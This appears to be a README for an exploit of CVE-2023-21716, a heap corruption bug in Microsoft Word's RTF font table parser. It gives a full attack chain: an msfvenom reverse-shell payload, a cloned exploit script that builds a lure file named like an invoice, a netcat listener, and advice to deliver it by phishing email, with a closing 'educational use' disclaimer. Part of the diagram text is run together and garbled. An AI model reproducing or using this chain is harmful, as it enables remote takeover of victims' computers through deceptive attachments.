
CVE-2023-21716 - Microsoft Word RTF fonttbl Heap Corruption RCE exploit with reverse shell payload
Severity: Critical (CVSS 9.8)
Affected: Microsoft Word 2013 / 2016 / 2019 / 2021 (unpatched)
Patch: Microsoft February 2023 Patch Tuesday
Author: REGGYRAIDER
CVE-2023-21716 is a heap corruption vulnerability in Microsoft Word's RTF parser (wwlib.dll).
When Word parses a \fonttbl directive containing more than 32 767 font entries, an internal signed 16-bit counter overflows, corrupting heap metadata. This allows an attacker to achieve Remote Code Execution simply by sending the victim a crafted .rtf file.
No macros. No user interaction beyond opening the file.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f raw -o payload.bin
git clone https://github.com/REGGYRAIDER/CVE-2023-21716
cd CVE-2023-21716
python3 exploit.py payload.bin invoice_march2024.rtf
nc -lvnp 4444
Upload via SMB, email attachment, or any phishing vector.
When the victim opens invoice_march2024.rtf in an unpatched Word, you receive a reverse shell.
Attacker creates RTF Word parses \fonttbl Heap corrupted
───────────────────── ──► ────────────────────── ──► ──────────────
\fonttbl with 32769+ Signed 16-bit counter Attacker's
font definitions overflows → 0x8000 shellcode runs
\f<N> font definitions inside \fonttbl.payload.bin) is placed inside \pict and lands in the corrupted region, gaining execution when the allocator processes it.This tool is intended for educational purposes and authorized penetration testing only.
Using this exploit against systems you do not own or have explicit written permission to test is illegal.
The author takes no responsibility for misuse.